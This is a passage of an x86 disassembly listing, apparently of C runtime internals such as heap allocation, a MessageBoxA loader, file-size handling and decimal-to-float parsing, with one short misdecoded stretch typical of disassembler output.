		mov	ds:dword_442FB8, eax
		jmp	short loc_424B92
; ---------------------------------------------------------------------------


loc_424B3D:				; CODE XREF: sub_424A56+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_442FC4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_442F20
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_442FC8, eax
		jns	short loc_424B75
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_442FC8, eax
		jmp	short loc_424B86
; ---------------------------------------------------------------------------


loc_424B75:				; CODE XREF: sub_424A56+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424B8C
		sub	eax, edx
		inc	ecx
		mov	ds:dword_442FC8, eax


loc_424B86:				; CODE XREF: sub_424A56+11Dj
		mov	ds:dword_442FC4, ecx


loc_424B8C:				; CODE XREF: sub_424A56+126j
		mov	ds:dword_442FC0, ebx


loc_424B92:				; CODE XREF: sub_424A56+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424A56	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B96	proc near		; CODE XREF: sub_422563+22p
					; sub_422563+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_424BB6
		test	esi, esi
		jnz	short loc_424BB0
		push	1
		pop	esi


loc_424BB0:				; CODE XREF: sub_424B96+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424BB6:				; CODE XREF: sub_424B96+11j
					; sub_424B96+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424BE7
		cmp	ebx, ds:dword_44255C
		ja	short loc_424BD2
		push	ebx
		call	sub_41E6FD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424BFD


loc_424BD2:				; CODE XREF: sub_424B96+2Dj
		push	esi
		push	8
		push	ds:dword_4E2B80
		call	ds:dword_427148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424C09


loc_424BE7:				; CODE XREF: sub_424B96+25j
		cmp	ds:dword_4E1578, 0
		jz	short loc_424C09
		push	esi
		call	sub_41F177
		test	eax, eax
		pop	ecx
		jz	short loc_424C0F
		jmp	short loc_424BB6
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B96+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_41BC40
		add	esp, 0Ch


loc_424C09:				; CODE XREF: sub_424B96+4Fj
					; sub_424B96+58j
		mov	eax, edi


loc_424C0B:				; CODE XREF: sub_424B96+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424C0F:				; CODE XREF: sub_424B96+63j
		xor	eax, eax
		jmp	short loc_424C0B
sub_424B96	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422608


loc_424C13:				; CODE XREF: sub_422608+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_4E2940, esi
		jle	short loc_424C66


loc_424C22:				; CODE XREF: sub_422608+265Cj
		mov	eax, ds:dword_4E1924
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424C5D
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424C41
		push	eax
		call	sub_41B90B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424C41
		inc	edi


loc_424C41:				; CODE XREF: sub_422608+262Aj
					; sub_422608+2636j
		cmp	esi, 14h
		jl	short loc_424C5D
		mov	eax, ds:dword_4E1924
		push	dword ptr [eax+esi*4]
		call	sub_41B961
		mov	eax, ds:dword_4E1924
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424C5D:				; CODE XREF: sub_422608+2624j
					; sub_422608+263Cj
		inc	esi
		cmp	esi, ds:dword_4E2940
		jl	short loc_424C22


loc_424C66:				; CODE XREF: sub_422608+2618j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_422608

; =============== S U B	R O U T	I N E =======================================



sub_424C6B	proc near		; CODE XREF: seg000:00422DB9p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424C7C
		add	esp, 0Ch
		retn
sub_424C6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C7C	proc near		; CODE XREF: sub_424C6B+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_4E2A61[eax], cl
		jnz	short loc_424CA9
		cmp	[esp+arg_4], 0
		jz	short loc_424CA2
		movzx	eax, ds:word_44256A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424CA4
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424C7C+16j
		xor	eax, eax


loc_424CA4:				; CODE XREF: sub_424C7C+24j
		test	eax, eax
		jnz	short loc_424CA9
		retn
; ---------------------------------------------------------------------------


loc_424CA9:				; CODE XREF: sub_424C7C+Fj
					; sub_424C7C+2Aj
		push	1
		pop	eax
		retn
sub_424C7C	endp

; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4E17DC, ebx
		push	esi
		push	edi
		jnz	short loc_424CFC
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424D32
		mov	esi, ds:dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_4270BC
		test	eax, eax
		mov	ds:dword_4E17DC, eax
		jz	short loc_424D32
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_4270BC
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4E17E0, eax
		call	esi ; dword_4270BC
		mov	ds:dword_4E17E4, eax


loc_424CFC:				; CODE XREF: seg000:00424CB8j
		mov	eax, ds:dword_4E17E0
		test	eax, eax
		jz	short loc_424D1B
		call	eax ; dword_4E17E0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424D1B
		mov	eax, ds:dword_4E17E4
		test	eax, eax
		jz	short loc_424D1B
		push	ebx
		call	eax ; dword_4E17E4
		mov	ebx, eax


loc_424D1B:				; CODE XREF: seg000:00424D03j
					; seg000:00424D0Bj ...
		push	dword ptr [esp+18h]
		push	dword ptr [esp+18h]
		push	dword ptr [esp+18h]
		push	ebx
		call	ds:dword_4E17DC


loc_424D2E:				; CODE XREF: seg000:00424D34j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424D32:				; CODE XREF: seg000:00424CC9j
					; seg000:00424CE0j
		xor	eax, eax
		jmp	short loc_424D2E
; ---------------------------------------------------------------------------


loc_424D36:				; CODE XREF: sub_423896+271p
		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C1D0
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_4E1920
		jnb	loc_424E6B
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4E1820[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_424E6B
		push	1
		push	esi
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_424E75
		push	2
		push	esi
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_424E75
		push	edi
		mov	edi, [ebp+0Ch]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424E18
		push	1000h
		lea	eax, [ebp-1000h]
		push	esi
		push	eax
		call	sub_41BC40
		push	8000h
		push	ebx
		call	sub_425970
		add	esp, 14h
		mov	[ebp+0Ch], eax


loc_424DCC:				; CODE XREF: seg000:00424DF3j
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424DD7
		mov	eax, edi


loc_424DD7:				; CODE XREF: seg000:00424DD3j
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	ebx
		call	sub_42280E
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424DF5
		sub	edi, eax
		test	edi, edi
		jle	short loc_424E0B
		jmp	short loc_424DCC
; ---------------------------------------------------------------------------


loc_424DF5:				; CODE XREF: seg000:00424DEBj
		cmp	ds:dword_4E14FC, 5
		jnz	short loc_424E08
		mov	ds:dword_4E14F8, 0Dh


loc_424E08:				; CODE XREF: seg000:00424DFCj
		or	esi, 0FFFFFFFFh


loc_424E0B:				; CODE XREF: seg000:00424DF1j
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_425970
		pop	ecx
		pop	ecx
		jmp	short loc_424E58
; ---------------------------------------------------------------------------


loc_424E18:				; CODE XREF: seg000:00424DA7j
		jge	short loc_424E58
		push	0
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_42261C
		push	ebx
		call	sub_4237BE
		add	esp, 10h
		push	eax
		call	near ptr 0B00000h
		sub	[ebx+1BDEF7F0h], cl
		div	bh
		fimul	word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+15h]
		mov	ds:dword_4E14F8, 0Dh
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4E14FC, eax


loc_424E58:				; CODE XREF: seg000:00424E16j
					; seg000:loc_424E18j
		push	0
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_424E78
; ---------------------------------------------------------------------------


loc_424E6B:				; CODE XREF: seg000:00424D50j
					; seg000:00424D6Cj
		mov	ds:dword_4E14F8, 9


loc_424E75:				; CODE XREF: seg000:00424D84j
					; seg000:00424D99j
		or	eax, 0FFFFFFFFh


loc_424E78:				; CODE XREF: seg000:00424E69j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424E7C	proc near		; CODE XREF: sub_42402F+2Bp
					; sub_42402F+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_424E92
		cmp	ecx, esi
		jnb	short loc_424E95


loc_424E92:				; CODE XREF: sub_424E7C+10j
		push	1
		pop	eax


loc_424E95:				; CODE XREF: sub_424E7C+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_424E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E9D	proc near		; CODE XREF: sub_424F56+40p
					; sub_424F56+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424ECF
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424ECF
		inc	dword ptr [esi+8]


loc_424ECF:				; CODE XREF: sub_424E9D+19j
					; sub_424E9D+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424EE7
		inc	dword ptr [esi+8]


loc_424EE7:				; CODE XREF: sub_424E9D+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_424E7C
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_424E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424EFB	proc near		; CODE XREF: sub_424F56+30p
					; sub_424F56+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_424EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F29	proc near		; CODE XREF: sub_4254EE+1C8p
					; sub_4259E6+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_424F29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F56	proc near		; CODE XREF: sub_42501D+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_424FCA
		push	edi
		mov	[ebp+arg_8], eax


loc_424F7D:				; CODE XREF: sub_424F56+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_424EFB
		push	ebx
		call	sub_424EFB
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424E9D
		push	ebx
		call	sub_424EFB
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424E9D
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_424F7D
		xor	edx, edx
		pop	edi


loc_424FCA:				; CODE XREF: sub_424F56+21j
					; sub_424F56+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_424FF7
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_424FCA
; ---------------------------------------------------------------------------


loc_424FF7:				; CODE XREF: sub_424F56+77j
		mov	esi, 8000h


loc_424FFC:				; CODE XREF: sub_424F56+B9j
		test	[ebx+8], esi
		jnz	short loc_425011
		push	ebx
		call	sub_424EFB
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_424FFC
; ---------------------------------------------------------------------------


loc_425011:				; CODE XREF: sub_424F56+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_424F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42501D	proc near		; CODE XREF: sub_424378+17p
					; sub_4243A5+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_425058:				; CODE XREF: sub_42501D+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_42506E
		cmp	cl, 9
		jz	short loc_42506E
		cmp	cl, 0Ah
		jz	short loc_42506E
		cmp	cl, 0Dh
		jnz	short loc_425071


loc_42506E:				; CODE XREF: sub_42501D+40j
					; sub_42501D+45j ...
		inc	edi
		jmp	short loc_425058
; ---------------------------------------------------------------------------


loc_425071:				; CODE XREF: sub_42501D+4Fj
		push	4
		pop	esi


loc_425074:				; CODE XREF: sub_42501D+AEj
					; sub_42501D+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4252F7	; default
					; jumptable 00425080 case 10
		jmp	ds:off_4254BE[eax*4] ; switch jump


loc_425087:				; DATA XREF: seg000:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 0
		jl	short loc_425098
		cmp	bl, 39h
		jg	short loc_425098


loc_425091:				; CODE XREF: sub_42501D+C4j
					; sub_42501D+118j
		push	3
		jmp	loc_4252B5
; ---------------------------------------------------------------------------


loc_425098:				; CODE XREF: sub_42501D+6Dj
					; sub_42501D+72j
		cmp	bl, ds:byte_442770
		jnz	short loc_4250A7


loc_4250A0:				; CODE XREF: sub_42501D+124j
		push	5
		jmp	loc_4252ED
; ---------------------------------------------------------------------------


loc_4250A7:				; CODE XREF: sub_42501D+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4250CD
		dec	eax
		dec	eax
		jz	short loc_4250C1
		sub	eax, 3
		jnz	loc_425390
		jmp	loc_425150
; ---------------------------------------------------------------------------


loc_4250C1:				; CODE XREF: sub_42501D+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425074
; ---------------------------------------------------------------------------


loc_4250CD:				; CODE XREF: sub_42501D+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425074
; ---------------------------------------------------------------------------


loc_4250D6:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4250E3
		cmp	bl, 39h
		jle	short loc_425091


loc_4250E3:				; CODE XREF: sub_42501D+BFj
		cmp	bl, ds:byte_442770
		jz	loc_4251AB
		cmp	bl, 2Bh
		jz	short loc_425125
		cmp	bl, 2Dh
		jz	short loc_425125
		cmp	bl, 30h
		jz	short loc_425150


loc_4250FE:				; CODE XREF: sub_42501D+207j
		cmp	bl, 43h
		jle	loc_425390
		cmp	bl, 45h
		jle	short loc_42511E
		cmp	bl, 63h
		jle	loc_425390
		cmp	bl, 65h
		jg	loc_425390


loc_42511E:				; CODE XREF: sub_42501D+EDj
		push	6
		jmp	loc_4252ED
; ---------------------------------------------------------------------------


loc_425125:				; CODE XREF: sub_42501D+D5j
					; sub_42501D+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4252ED
; ---------------------------------------------------------------------------


loc_42512D:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 2
		jl	short loc_42513B
		cmp	bl, 39h
		jle	loc_425091


loc_42513B:				; CODE XREF: sub_42501D+113j
		cmp	bl, ds:byte_442770
		jz	loc_4250A0
		cmp	bl, 30h
		jnz	loc_425305


loc_425150:				; CODE XREF: sub_42501D+9Fj
					; sub_42501D+DFj
		mov	eax, edx
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_425157:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		mov	[ebp+var_10], edx ; jumptable 00425080 case 3


loc_42515A:				; CODE XREF: sub_42501D+184j
		cmp	ds:dword_44276C, edx
		jle	short loc_425173
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425181
; ---------------------------------------------------------------------------


loc_425173:				; CODE XREF: sub_42501D+143j
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425181:				; CODE XREF: sub_42501D+154j
		test	eax, eax
		jz	short loc_4251A3
		cmp	[ebp+var_4], 19h
		jnb	short loc_42519B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_42519B:				; CODE XREF: sub_42501D+16Cj
		inc	[ebp+var_8]


loc_42519E:				; CODE XREF: sub_42501D+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42515A
; ---------------------------------------------------------------------------


loc_4251A3:				; CODE XREF: sub_42501D+166j
		cmp	bl, ds:byte_442770
		jnz	short loc_425212


loc_4251AB:				; CODE XREF: sub_42501D+CCj
		mov	eax, esi
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		cmp	[ebp+var_4], 0	; jumptable 00425080 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_4251CB


loc_4251BE:				; CODE XREF: sub_42501D+1ACj
		cmp	bl, 30h
		jnz	short loc_4251CB
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4251BE
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42501D+19Fj
					; sub_42501D+1A4j ...
		cmp	ds:dword_44276C, edx
		jle	short loc_4251E4
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4251F2
; ---------------------------------------------------------------------------


loc_4251E4:				; CODE XREF: sub_42501D+1B4j
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4251F2:				; CODE XREF: sub_42501D+1C5j
		test	eax, eax
		jz	short loc_425212
		cmp	[ebp+var_4], 19h
		jnb	short loc_42520D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_42520D:				; CODE XREF: sub_42501D+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4251CB
; ---------------------------------------------------------------------------


loc_425212:				; CODE XREF: sub_42501D+18Cj
					; sub_42501D+1D7j
		cmp	bl, 2Bh
		jz	loc_425125
		cmp	bl, 2Dh
		jz	loc_425125
		jmp	loc_4250FE
; ---------------------------------------------------------------------------


loc_425229:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		cmp	ds:dword_44276C, edx ; jumptable 00425080 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425245
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		push	1


loc_425242:				; DATA XREF: seg002:0044041Co
		pop	edx
		jmp	short loc_425253
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_42501D+215j
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425253:				; CODE XREF: sub_42501D+226j
		test	eax, eax
		jz	loc_425305
		mov	eax, esi
		jmp	short loc_4252B6
; ---------------------------------------------------------------------------


loc_42525F:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		lea	ecx, [edi-2]	; jumptable 00425080 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42526F
		cmp	bl, 39h
		jle	short loc_4252B3


loc_42526F:				; CODE XREF: sub_42501D+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252EB
		dec	eax
		dec	eax
		jz	short loc_4252DF
		sub	eax, 3
		jnz	loc_425393


loc_425284:				; CODE XREF: sub_42501D+2A4j
		push	8
		jmp	short loc_4252ED
; ---------------------------------------------------------------------------


loc_425288:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		mov	[ebp+var_20], edx ; jumptable 00425080 case 8


loc_42528B:				; CODE XREF: sub_42501D+276j
		cmp	bl, 30h
		jnz	short loc_425295
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42528B
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_42501D+271j
		cmp	bl, 31h
		jl	loc_425390
		cmp	bl, 39h
		jg	loc_425390
		jmp	short loc_4252B3
; ---------------------------------------------------------------------------


loc_4252A9:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 7
		jl	short loc_4252BC
		cmp	bl, 39h
		jg	short loc_4252BC


loc_4252B3:				; CODE XREF: sub_42501D+250j
					; sub_42501D+28Aj
		push	9


loc_4252B5:				; CODE XREF: sub_42501D+76j
		pop	eax


loc_4252B6:				; CODE XREF: sub_42501D+240j
		dec	edi
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4252BC:				; CODE XREF: sub_42501D+28Fj
					; sub_42501D+294j
		cmp	bl, 30h
		jnz	short loc_425305
		jmp	short loc_425284
; ---------------------------------------------------------------------------


loc_4252C3:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		cmp	[ebp+arg_18], 0	; jumptable 00425080 case 11
		jz	short loc_4252F3
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4252EB
		dec	eax
		dec	eax
		jnz	loc_425393


loc_4252DF:				; CODE XREF: sub_42501D+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4252EB:				; CODE XREF: sub_42501D+258j
					; sub_42501D+2B8j
		push	7


loc_4252ED:				; CODE XREF: sub_42501D+85j
					; sub_42501D+103j ...
		pop	eax
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4252F3:				; CODE XREF: sub_42501D+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4252F7:				; CODE XREF: sub_42501D+5Dj
					; sub_42501D+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425080 case 10
		jz	loc_425395
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_425305:				; CODE XREF: sub_42501D+12Dj
					; sub_42501D+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425395
; ---------------------------------------------------------------------------


loc_42530D:				; CODE XREF: sub_42501D+63j
					; DATA XREF: seg000:off_4254BEo
		mov	[ebp+var_20], 1	; jumptable 00425080 case 9
		xor	esi, esi


loc_425316:				; CODE XREF: sub_42501D+339j
		cmp	ds:dword_44276C, 1
		jle	short loc_42532E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_42533D
; ---------------------------------------------------------------------------


loc_42532E:				; CODE XREF: sub_42501D+300j
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42533D:				; CODE XREF: sub_42501D+30Fj
		test	eax, eax
		jz	short loc_42535D
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_425358
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425316
; ---------------------------------------------------------------------------


loc_425358:				; CODE XREF: sub_42501D+334j
		mov	esi, 1451h


loc_42535D:				; CODE XREF: sub_42501D+322j
		mov	[ebp+var_1C], esi


loc_425360:				; CODE XREF: sub_42501D+371j
		cmp	ds:dword_44276C, 1
		jle	short loc_425378
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_425387
; ---------------------------------------------------------------------------


loc_425378:				; CODE XREF: sub_42501D+34Aj
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425387:				; CODE XREF: sub_42501D+359j
		test	eax, eax
		jz	short loc_425390
		mov	bl, [edi]
		inc	edi
